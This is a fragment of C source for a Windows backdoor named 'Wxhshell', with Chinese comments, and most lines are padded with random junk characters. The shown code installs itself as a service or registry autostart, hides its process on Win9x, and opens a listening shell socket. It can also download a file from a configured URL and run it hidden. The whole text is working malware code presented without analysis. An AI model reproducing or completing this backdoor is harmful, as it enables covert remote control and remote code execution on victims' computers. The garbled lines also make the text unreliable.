ULONG InheritedFromUniqueProcessId; Vm]xV_FOd
} PROCESS_BASIC_INFORMATION; R|g50Q
|EZ\+!8N:{
PROCNTQSIP NtQueryInformationProcess; 3bBCA9^se
m#Dae\w&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !3;KC"o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A8T75?lL(
MY w3+B+Jj
HANDLE hProcess; 2AdO
PROCESS_BASIC_INFORMATION pbi; +LhV4@zC
1@<PcQBp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s%/x3anz=
if(NULL == hInst ) return 0; L}Rsg'U
{Lg]chJq?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A9;!\Wo
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8:gUo8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CwdeW.A"j
h#~\-j9>
if (!NtQueryInformationProcess) return 0; E(p#Je|@[
0@LC8Bz+'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U.A:'9K,
if(!hProcess) return 0; d9Uv/VGp
N_liKhq
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~m6b6Aj@6
X4dxH_@
CloseHandle(hProcess); MG-#p8
8k_cC$*Ng
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p6AF16*f0
if(hProcess==NULL) return 0; MJugno
7wz9x8 \t
HMODULE hMod; S3N+9*iK
char procName[255]; A81'ca/
unsigned long cbNeeded; wmDO^}>ZP
ko+fJ&$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TMw6
EM
}MIg RQ9
CloseHandle(hProcess); X0 ^~`g
aQHB
if(strstr(procName,"services")) return 1; // 以服务启动 1%$Z%?
i TLX=.M
return 0; // 注册表启动 KbGz3O'u
} Ux-i iH#s
S.R|Bwj}(Y
// 主模块
}'WEqNuE
int StartWxhshell(LPSTR lpCmdLine) sL4j@Lt
{ xRbtiFk9H
SOCKET wsl; *&doI%q
BOOL val=TRUE; Csf!I@}Z
int port=0; _~.S~;o!b
struct sockaddr_in door; ]Ei*I}
z2U^z*n{
if(wscfg.ws_autoins) Install(); T8NDS7&?
aL^
58M y&
port=atoi(lpCmdLine); .r~M7 I
k@|Go)~
if(port<=0) port=wscfg.ws_port; ESmWK;7b
@bF4'M
WSADATA data;
ni?5h5-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C17$qdV/
RMs+pN<5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ny5$IIFe
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y6RbRcJw
door.sin_family = AF_INET; ApTE:Fm1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); b_w(F_0
door.sin_port = htons(port); &a!MT^anA~
!X4m6gRaP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CLgfNrW~
closesocket(wsl); SsCV}[
return 1; i9eE/
.
} p8(Z{TSv
`5
Iaz
if(listen(wsl,2) == INVALID_SOCKET) { L>&9+<-B
closesocket(wsl); c&'5r OY~
return 1; O39f
} 1O2jvt7M
Wxhshell(wsl); 0b}.!k9
WSACleanup(); PVaqKCj:6W
~cul;bb#
return 0; 88On{Kk.v
9xOTR#B:_V
} }v6@yU
Zg$RiQ^-{J
// 以NT服务方式启动 \p#_D|s/Ep
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~oz??SX
{ 3c+ps;nh
DWORD status = 0; Ya;y@44
DWORD specificError = 0xfffffff; IG90mpLX
oVQbc\P3
serviceStatus.dwServiceType = SERVICE_WIN32; R!rj:f!>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~EM(*k._
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rUg|5EN^)d
serviceStatus.dwWin32ExitCode = 0; 'x<o{Hi"\B
serviceStatus.dwServiceSpecificExitCode = 0; (W
|;gQ
serviceStatus.dwCheckPoint = 0; b6! 7j
serviceStatus.dwWaitHint = 0; ^{a_:r"
@_0tq {
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H;MyT Vl
if (hServiceStatusHandle==0) return; `r]C%Y4?
-5Oy k,
status = GetLastError(); Ff1!+P,
if (status!=NO_ERROR) D"CU J?
{ R$bDj>8
serviceStatus.dwCurrentState = SERVICE_STOPPED; \)i,`bz
serviceStatus.dwCheckPoint = 0; 5Z`f.}^w
serviceStatus.dwWaitHint = 0; H'}6Mw%ra
serviceStatus.dwWin32ExitCode = status; U+,RP$r@
serviceStatus.dwServiceSpecificExitCode = specificError; ,olP}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yof8L WXx
return; Nxr\Yey
} NqM=Nu\
"V`5 $ur
serviceStatus.dwCurrentState = SERVICE_RUNNING; nd }Z[)
serviceStatus.dwCheckPoint = 0; v8K`cijSS
serviceStatus.dwWaitHint = 0; .Bojb~zt
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1 %8JMq\
} $|t={s34
hC?rHw
H>
// 处理NT服务事件,比如:启动、停止 %Ix2NdC
VOID WINAPI NTServiceHandler(DWORD fdwControl) p8j*m~4B
{ uC%mGZa
switch(fdwControl) o37D~V;
{ 0YAH[YF
case SERVICE_CONTROL_STOP: C!U$<_I\2
serviceStatus.dwWin32ExitCode = 0; >D%
serviceStatus.dwCurrentState = SERVICE_STOPPED; ! ~tf0aY
serviceStatus.dwCheckPoint = 0; Q5HSik4
serviceStatus.dwWaitHint = 0; \_x~lRqJJ
{ Vwb_$Yi+]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FuC\qF
} xdh%mG:?
return; -""(>$b2
case SERVICE_CONTROL_PAUSE: Py#TXzEcC
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Dp0Pi?29
break; ?JBA`,-
case SERVICE_CONTROL_CONTINUE: &gcZ4gpH
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 %V9
break; PMT}fg
case SERVICE_CONTROL_INTERROGATE: 9"zp>VR
break; Ol;DJV
}; (4|R}jv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n`V? n
} D!z'Y,.
5+UNLvsZ
// 标准应用程序主函数 mpQu:i|W
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =1y~Qlu
{ kH`?^^_yJ
0U8'dYf
// 获取操作系统版本 2"c 5<
OsIsNt=GetOsVer(); nl~Z,Y$
GetModuleFileName(NULL,ExeFile,MAX_PATH); R'8S)'l
&Q* 7
// 从命令行安装 Zv(6VVj
if(strpbrk(lpCmdLine,"iI")) Install(); Bru] ;%Qg%
^^F 8M0k3
// 下载执行文件 0rvBjlFT
if(wscfg.ws_downexe) { jVh:Bw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WF:4p]0~)
WinExec(wscfg.ws_filenam,SW_HIDE); xQl}~G]!
} BkP4.XRI
;*0nPhBw0>
if(!OsIsNt) { 2@IL
n+#
// 如果时win9x,隐藏进程并且设置为注册表启动 %cBOi_}}~
HideProc(); 8Ltl32JSB[
StartWxhshell(lpCmdLine); Yr>0Qg],
} b1;h6AeL
else -/2B fIq
if(StartFromService()) *qu5o5Q
// 以服务方式启动 eL.WP`Lz
StartServiceCtrlDispatcher(DispatchTable); 4o"?QV:
else E#,\[<pc
// 普通方式启动 U8-OQ:2.
StartWxhshell(lpCmdLine); HD& Cp
T2_iH=u
return 0; Z}{]/=h
}